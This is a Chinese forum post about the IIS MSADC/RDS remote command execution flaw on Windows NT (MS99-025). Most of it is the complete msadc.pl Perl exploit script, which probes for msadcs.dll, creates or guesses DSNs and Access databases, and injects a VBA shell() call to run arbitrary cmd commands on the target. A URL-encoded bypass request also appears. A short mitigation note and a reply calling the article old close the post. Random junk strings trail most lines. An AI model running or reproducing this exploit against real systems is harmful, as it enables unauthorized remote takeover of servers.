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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) dDGQ`+H9  
B`sAk %  
涉及程序: -D: b*D  
Microsoft NT server 1{.9uw"2S  
X5w$4Kj&4l  
描述: JlJ a #  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 o5)<$P43  
9A#i_#[R  
详细: >8[Z.fX  
如果你没有时间读详细内容的话,就删除: z'7]h TA  
c:\Program Files\Common Files\System\Msadc\msadcs.dll y>ktcuML  
有关的安全问题就没有了。 )O6>*wq  
43 :X,\~)  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 1xx}~|F?|  
1B\WA8  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 0tJ Z4(0  
关于利用ODBC远程漏洞的描述,请参看: tT._VK]o&R  
Ew$C ;&9  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *yGGBqd  
5`_SN74o  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 qcRs$-J  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp f?)-}\[IR{  
@E8+C8'  
这里不再论述。 >.D4co>  
[_:nHZb  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: )YI(/*+]  
A?0Nm{O;3v  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset O33 `+UV"W  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ^kSqsT"  
0IWf!Sk ]  
Gp\ kU:}&  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 4{Z)8;QX  
h>bx}$q  
#!perl (QiAisE  
# fTX;.M/%   
# MSADC/RDS 'usage' (aka exploit) script H0cA6I  
# %SUQ9\SEs  
# by rain.forest.puppy bs1Rvx1:J%  
# ;9'OOz|+1  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me oD@7 SF  
# beta test and find errors! 'O-"\J\  
ABYcH]m  
use Socket; use Getopt::Std; :2)/FPL6  
getopts("e:vd:h:XR", \%args); d0 /#nz  
ll?X@S  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; (Awm9|.{+  
G]aOHJ:.  
if (!defined $args{h} && !defined $args{R}) { kvj#c  
print qq~ U`s{Jm  
Usage: msadc.pl -h <host> { -d <delay> -X -v } W(/h Vt  
-h <host> = host you want to scan (ip or domain) HLi%%"'  
-d <seconds> = delay between calls, default 1 second 7o}J%z  
-X = dump Index Server path table, if available CTA 3*Gn  
-v = verbose ( uidNq  
-e = external dictionary file for step 5 h FBe,'3M  
Vf1^4 t  
Or a -R will resume a command session n._-! WI  
N4HqLh23H  
~; exit;} @|T'0_'  
Z$? #  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ^d73Ig:8q  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} kAGBdaJ"  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Jfl!#UAD|n  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); uXl3k:_n  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} An/|+r\  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } >c}u>]D  
AkiDL=;w  
if (!defined $args{R}){ $ret = &has_msadc; .5{ab\_af  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} J4U1t2@)9  
2I{"XB  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Oa>Ppldeg  
. "cmd /c "; caX< n>  
$in=<STDIN>; chomp $in; h!9ei6  
$command="cmd /c " . $in ; ygl0k \  
}l9llu   
if (defined $args{R}) {&load; exit;} T&7qC=E#5  
|(^PS8wG  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 11;zNjD|  
&try_btcustmr; ZSm3XXk  
% %UE+u @J  
print "\nStep 2: Trying to make our own DSN..."; Y\'}a+:@Ph  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; +x}<IS8  
?|Zx!z ($  
print "\nStep 3: Trying known DSNs..."; X#;bh78&-  
&known_dsn; g< .qUBPKX  
Rbv;?'O$L  
print "\nStep 4: Trying known .mdbs..."; P{^6v=8)  
&known_mdb; o#1 $q`Z  
Eu04e N  
if (defined $args{e}){ seeB S/%  
print "\nStep 5: Trying dictionary of DSN names..."; ZqO^f*F>h  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 18:%~>.!  
0+b1vhQ  
print "Sorry Charley...maybe next time?\n"; #C@FYO f*  
exit; 7"D.L-H  
)@bQu~Y  
############################################################################## 3"\lu?-E  
"U"Z 3 *  
sub sendraw { # ripped and modded from whisker |#N&akC  
sleep($delay); # it's a DoS on the server! At least on mine... \Y}8S/]  
my ($pstr)=@_; mpJ#:}n  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || D^;Uq8NDKq  
die("Socket problems\n"); `Ryp% Bn  
if(connect(S,pack "SnA4x8",2,80,$target)){ <1M-Ro?5k  
select(S); $|=1; Aq7osU1B  
print $pstr; my @in=<S>; U :_^#\p  
select(STDOUT); close(S); \1Em`nvOX  
return @in; r" ,GC]  
} else { die("Can't connect...\n"); }} sCHJ&>m5-  
Q&bM\;Ml  
############################################################################## ]e@Oiq  
Pk)1WK7E  
sub make_header { # make the HTTP request QP J4~  
my $msadc=<<EOT R*r#E{!V;  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 S|+o-[e8O  
User-Agent: ACTIVEDATA 4H]L~^CD  
Host: $ip |P}y,pNQ  
Content-Length: $clen .#pU=v#/[  
Connection: Keep-Alive t\ewHZG"  
Owk|@6!  
ADCClientVersion:01.06 =odFmF  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 )53y AyP  
du^J2m{f  
--!ADM!ROX!YOUR!WORLD! *CHX  
Content-Type: application/x-varg *4Y V v  
Content-Length: $reqlen x-3\Ls[I  
!%0 * z  
EOT o{[YA} xc  
; $msadc=~s/\n/\r\n/g; P7~>mm+  
return $msadc;} :9 ^* ^T  
kMd.h[X~  
############################################################################## Q]>.b%s[  
`PH{syz  
sub make_req { # make the RDS request VW4r{&rS  
my ($switch, $p1, $p2)=@_; B^9j@3Ux  
my $req=""; my $t1, $t2, $query, $dsn; czd~8WgOa  
u;c?d!E  
if ($switch==1){ # this is the btcustmr.mdb query y'*K|a TG  
$query="Select * from Customers where City=" . make_shell(); | Xy6PN8  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 4{`{WI{  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} =rX>.P%Q5  
#;nYg?d=  
elsif ($switch==2){ # this is general make table query '`KY! ]L  
$query="create table AZZ (B int, C varchar(10))"; R~$qo)v  
$dsn="$p1";} V~5jfcd  
aw42oLk  
elsif ($switch==3){ # this is general exploit table query vRO _Q?  
$query="select * from AZZ where C=" . make_shell(); wAW5 Z0D  
$dsn="$p1";} ?5 7Sk+  
I2 P@L?h  
elsif ($switch==4){ # attempt to hork file info from index server D d</`iUq  
$query="select path from scope()"; 9q[oa5INd  
$dsn="Provider=MSIDXS;";} uW36;3[f#1  
w+CA1q<  
elsif ($switch==5){ # bad query n7-6- #  
$query="select"; <e</m)j  
$dsn="$p1";} B`J~^+`[*  
{{p7 3 'u  
$t1= make_unicode($query); X}\:_/  
$t2= make_unicode($dsn); 3/n5#&c\4  
$req = "\x02\x00\x03\x00"; Jze:[MYS  
$req.= "\x08\x00" . pack ("S1", length($t1)); dlTt _.  
$req.= "\x00\x00" . $t1 ; )hfpwdQ  
$req.= "\x08\x00" . pack ("S1", length($t2)); omBoo5e  
$req.= "\x00\x00" . $t2 ; <W$mj04@  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Z?m3~L9L2  
return $req;} `+Q%oj#FF  
j8lb~0JD  
############################################################################## 9;-p'C  
%8~NqS|=  
sub make_shell { # this makes the shell() statement  a!AA]  
return "'|shell(\"$command\")|'";} SI-Ops~e  
jtc]>]6i  
############################################################################## NHZz _a=  
W9GVt$T7  
sub make_unicode { # quick little function to convert to unicode %d<"l~<5;  
my ($in)=@_; my $out; 7O-x<P;  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } _zi|  
return $out;} WEi2=3dV  
0Z{ZO*rK  
############################################################################## ~FG]wNgS  
:X (=z;B;N  
sub rdo_success { # checks for RDO return success (this is kludge) G*P#]eO  
my (@in) = @_; my $base=content_start(@in); ^3L0w}#  
if($in[$base]=~/multipart\/mixed/){ 7E~;xn;  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} fS78>*K  
return 0;} wi6 ~}~%  
uk<9&{  
############################################################################## )|=j`jCC  
]-/VHh  
sub make_dsn { # this makes a DSN for us ?2Py_gkf  
my @drives=("c","d","e","f"); wEvVL  
print "\nMaking DSN: "; P me^l%M  
foreach $drive (@drives) { |4 0`B% Z  
print "$drive: "; ,wAF:7'  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . + @s"zp;F  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" O[JL+g4  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 6G""I]uT  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; o]I\6,T/|  
return 0 if $2 eq "404"; # not found/doesn't exist %/#NK1&M  
if($2 eq "200") { {[?(9u7R  
foreach $line (@results) { 1NA.nw.  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} J]pir4&j  
} return 0;} Cd}<a?m,  
6gu!bu`~  
############################################################################## CdjI`  
lchPpm9  
sub verify_exists { sN01rtB(UT  
my ($page)=@_; 6zuTQ^pz  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ou{2@"  
return $results[0];} % ^1V4  
<1${1A <Wa  
############################################################################## [j/9neaye  
N~zdWnSZ@G  
sub try_btcustmr { #fn)k1  
my @drives=("c","d","e","f"); 6fEqqUeV  
my @dirs=("winnt","winnt35","winnt351","win","windows"); pYmk1!]/  
%S^8c  
foreach $dir (@dirs) { R|87%&6']  
print "$dir -> "; # fun status so you can see progress K} X&AJ5A  
foreach $drive (@drives) { _TQj~W<  
print "$drive: "; # ditto }l} Bo.C  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; t)$:0  
$reqlenlen=length( "$reqlen" ); "n5N[1b k  
$clen= 206 + $reqlenlen + $reqlen; Ig0VW)@  
_H7x9 y=  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); #( 146  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} N)\. [v  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} <FkFs{(t  
EDl!w:  
############################################################################## l L@XM2"  
y(yHt= r  
sub odbc_error { `Cynj+PCe  
my (@in)=@_; my $base; $1L> )S  
my $base = content_start(@in); 9w"4K.  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 1JG'%8}#8  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Pw`8Wj  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; nV/G8SeI  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; y'nK>)WG4  
return $in[$base+4].$in[$base+5].$in[$base+6];} =ncVnW{  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; i#Bf"W{F  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . `%9 uE(  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ShP^A"Do  
u.m[u)HQ  
############################################################################## Zaf:fsj>  
Gk&)08  
sub verbose { 6wjw^m0  
my ($in)=@_; 1FL~ndJs  
return if !$verbose; LxSpctiNx  
print STDOUT "\n$in\n";} >7T'OC  
h_3E)jc  
############################################################################## 0#Y5_i|p  
W/bQd)Jvk  
sub save { Ee%%d  
my ($p1, $p2, $p3, $p4)=@_; `MN4uC  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ,77d(bR<  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; _FU_Ubkr  
close OUT;} $AjHbU.I{  
o&)8o5  
############################################################################## ?(F6#"/E  
<7Or{:Sc90  
sub load { cO+qs[ BQ  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; k&vz 7Q`T  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 2,b(,3{`4:  
@p=<IN>; close(IN); BLf>_b Uk  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); h# o6K#  
$target= inet_aton($ip) || die("inet_aton problems"); g63(E,;;J  
print "Resuming to $ip ..."; XZ]uUP  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; vDhh>x(  
if($p[1]==1) { B:S>wFE(.  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; i0kak`x0  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; }t=!(GOb}  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); }9#r0Vja  
if (rdo_success(@results)){print "Success!\n";} pis`$_kmwV  
else { print "failed\n"; verbose(odbc_error(@results));}} 1N#| }ad  
elsif ($p[1]==3){ }Gm>`cw-  
if(run_query("$p[3]")){ S8wLmd>  
print "Success!\n";} else { print "failed\n"; }} IT7wT+  
elsif ($p[1]==4){ J~ zUp(>K  
if(run_query($drvst . "$p[3]")){ */^q{PsN  
print "Success!\n"; } else { print "failed\n"; }} ;dtA4:IRZ4  
exit;} %XoiVlT@:  
{{D)YldtA  
############################################################################## *-=(Q`3  
mt+Oi70  
sub create_table { 7yH"l9Z  
my ($in)=@_; U} e!Wjrc  
$reqlen=length( make_req(2,$in,"") ) - 28; PI:4m%[  
$reqlenlen=length( "$reqlen" ); 17[3/m8a  
$clen= 206 + $reqlenlen + $reqlen; p6]1w]*R  
my @results=sendraw(make_header() . make_req(2,$in,"")); RYQR(v  
return 1 if rdo_success(@results); t?-n*9,#S  
my $temp= odbc_error(@results); verbose($temp); BB!THj69a6  
return 1 if $temp=~/Table 'AZZ' already exists/; j<99FW"@e  
return 0;} fo#fg8zX%  
BxWPC#5  
############################################################################## vkx7paY_  
n,V[eW#m'L  
sub known_dsn { c"n\cNP<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go M4oy  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", r?lf($ D*  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "fCu=@i  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); p;59?  
gx8ouOh  
foreach $dSn (@dsns) { k"T}2 7  
print "."; $m%f wB  
next if (!is_access("DSN=$dSn")); mAj?>;R2$2  
if(create_table("DSN=$dSn")){ , j2Udn}  
print "$dSn successful\n"; V6&!9b  
if(run_query("DSN=$dSn")){ Yz/md1T$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { jrlVvzZ  
print "Something's borked. Use verbose next time\n";}}} print "\n";} U9:zVy  
^& tZ  
############################################################################## 9N%We|L,c  
n.`($yR_  
sub is_access { h-#6av :  
my ($in)=@_; nwB_8mN|  
$reqlen=length( make_req(5,$in,"") ) - 28; hOu3 bA  
$reqlenlen=length( "$reqlen" ); :0j?oY~e  
$clen= 206 + $reqlenlen + $reqlen; ,.83m%i  
my @results=sendraw(make_header() . make_req(5,$in,"")); ['X]R:3h  
my $temp= odbc_error(@results); Utj&]RELK  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 0neoE E  
return 0;} @uqd.Q  
?wiC Q6*$  
############################################################################## b8`)y<7  
&I+5  
sub run_query { .779pT!,M  
my ($in)=@_; ?cBwPetp  
$reqlen=length( make_req(3,$in,"") ) - 28; DnMwUykF>0  
$reqlenlen=length( "$reqlen" ); av}k)ZT_  
$clen= 206 + $reqlenlen + $reqlen; < Mn ;  
my @results=sendraw(make_header() . make_req(3,$in,"")); SO|NaqWa  
return 1 if rdo_success(@results); QuF:p  
my $temp= odbc_error(@results); verbose($temp); hLd^ agX  
return 0;} TluW-S  
zUkgG61  
############################################################################## dUeN*Nq&(,  
BOb">6C  
sub known_mdb { g|DF[  
my @drives=("c","d","e","f","g"); q1$N>;&  
my @dirs=("winnt","winnt35","winnt351","win","windows"); p*R;hU  
my $dir, $drive, $mdb; }{K) 4M  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Fh?gNSWq6  
??-[eB.  
# this is sparse, because I don't know of many W+aP}rZm:  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 67JA=,EE  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", (^8Y|:Tz  
"\\system32\\certmdb.mdb", ~drS} V  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% P_dCR  
u<7/0;D#+  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", }l(&}#dY  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Gv!2f  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ~NrG` D}  
"\\cfusion\\cfapps\\security\\realm_.mdb", EnKR%Ctw  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ~9a<0Mc?  
"\\cfusion\\database\\cfexamples.mdb", j\[dx^\=  
"\\cfusion\\database\\cfsnippets.mdb", )0.kv2o.  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", [64:4/<}  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Sxt"B  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 7{e  4c  
"\\cfusion\\database\\smpolicy.mdb", fIx+IL s  
"\\cfusion\\database\cypress.mdb", P%V'4p c  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", k_L7 kvpt  
"\\website\\cgi-win\\dbsample.mdb", ~RW+ GTe  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |B?m,U$A!  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" APn|\  
); #these are just m)ky*"(  
foreach $drive (@drives) { u:6Ic)7'  
foreach $dir (@dirs){ 59LZv-l  
foreach $mdb (@sysmdbs) { )al]*[lY  
print "."; VZp5)-!\  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ !_]Y~[  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ''A_[J `>  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 2@n{yYwy  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; [`#CXq'  
} else { print "Something's borked. Use verbose next time\n"; }}}}} @ wGPqg  
SB;&GHq"n  
foreach $drive (@drives) { G, }Yl  
foreach $mdb (@mdbs) { !fV+z%:  
print "."; Avge eJi  
if(create_table($drv . $drive . $dir . $mdb)){ j"t(0 m  
print "\n" . $drive . $dir . $mdb . " successful\n"; IA fc T!{  
if(run_query($drv . $drive . $dir . $mdb)){ 1*P~!2h  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; .wEd"A&j  
} else { print "Something's borked. Use verbose next time\n"; }}}} *<$*"p  
} SXSgld2uS  
I13y6= d  
############################################################################## & TCkpS  
zq 3\}9  
sub hork_idx { }kw#7m54  
print "\nAttempting to dump Index Server tables...\n"; @+&LYy72  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; x 77*c._3v  
$reqlen=length( make_req(4,"","") ) - 28; !{+,B5 Hc  
$reqlenlen=length( "$reqlen" ); t >L2  
$clen= 206 + $reqlenlen + $reqlen; sNbxI|B  
my @results=sendraw2(make_header() . make_req(4,"","")); JinUV6cr  
if (rdo_success(@results)){ \0^Kram>  
my $max=@results; my $c; my %d; $P >  
for($c=19; $c<$max; $c++){ A6  
$results[$c]=~s/\x00//g; E+j/ Cu  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; !4ocZmj\  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; wm+};L&_  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; q\9JgD)  
$d{"$1$2"}="";} F#3Q_G^/  
foreach $c (keys %d){ print "$c\n"; } j"8ZM{aO  
} else {print "Index server doesn't seem to be installed.\n"; }} SpIv#?  
<v"R.<  
############################################################################## z{%<<pZ  
@f_Lp%K  
sub dsn_dict { I }a`0Y&{  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ")1:F>  
while(<IN>){ DHg :8%3x  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; y B81f  
next if (!is_access("DSN=$dSn")); ~T"Rw2v b  
if(create_table("DSN=$dSn")){ H9Gh>u]}  
print "$dSn successful\n"; RF?`vRZOe  
if(run_query("DSN=$dSn")){ #z'  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { >1X|^  
print "Something's borked. Use verbose next time\n";}}} F0m-23[H  
print "\n"; close(IN);} Gf%~{@7=u  
cRC6 s8  
############################################################################## +X\FBvP&  
dUD[e,?  
sub sendraw2 { # ripped and modded from whisker WSP I|#Xr%  
sleep($delay); # it's a DoS on the server! At least on mine... 8$] 1M,$r  
my ($pstr)=@_; :^<3>zk  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Q8$}@iA[  
die("Socket problems\n"); Ex.yU{|c  
if(connect(S,pack "SnA4x8",2,80,$target)){ XMCXQs&  
print "Connected. Getting data"; SjK  
open(OUT,">raw.out"); my @in; !K#qeY}  
select(S); $|=1; print $pstr; K$z2YJ%  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} :ffY6L+  
close(OUT); select(STDOUT); close(S); return @in; ;'gWu  
} else { die("Can't connect...\n"); }} cQjv$$&6[  
9V a}I-  
############################################################################## '"52uZ{  
QDZWX`qw{  
sub content_start { # this will take in the server headers m%0p\Y-/  
my (@in)=@_; my $c; 9v#CE!  
for ($c=1;$c<500;$c++) { k<z )WNBf  
if($in[$c] =~/^\x0d\x0a/){ b8H{8{wi|  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 5G}?fSQ>  
else { return $c+1; }}} Q1lyj7c#x  
return -1;} # it should never get here actually M+oHtX$  
~ \r*  
############################################################################## HGl|-nW>  
TbMW|0 #w  
sub funky { \a<wKTkn  
my (@in)=@_; my $error=odbc_error(@in); hy9\57_#  
if($error=~/ADO could not find the specified provider/){ 1l9 G[o *  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; *nd!)t  
exit;} UklUw  
if($error=~/A Handler is required/){ _OYasJUMG  
print "\nServer has custom handler filters (they most likely are patched)\n"; 2bz2KB5>  
exit;} j<upRS,$  
if($error=~/specified Handler has denied Access/){ v6|RJt?  
print "\nServer has custom handler filters (they most likely are patched)\n"; g%o(+d  
exit;}} OU E (I3_  
}ZYd4h|g\z  
############################################################################## iG $!6;w<  
XMZ,Y7  
sub has_msadc { @?ebuj5{e  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); P|`8}|}a  
my $base=content_start(@results); zg>zUe bA  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); "2!&5s,1p  
return 0;} @b\$yB@z  
`&qL(66  
######################## W@>% {eE  
&{5,:%PXw  
VCYwzB  
解决方案: , };& tR  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Y!xF ;a  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 #&+{mCjs  
P.se'z)E  
拿出来充数 哈哈
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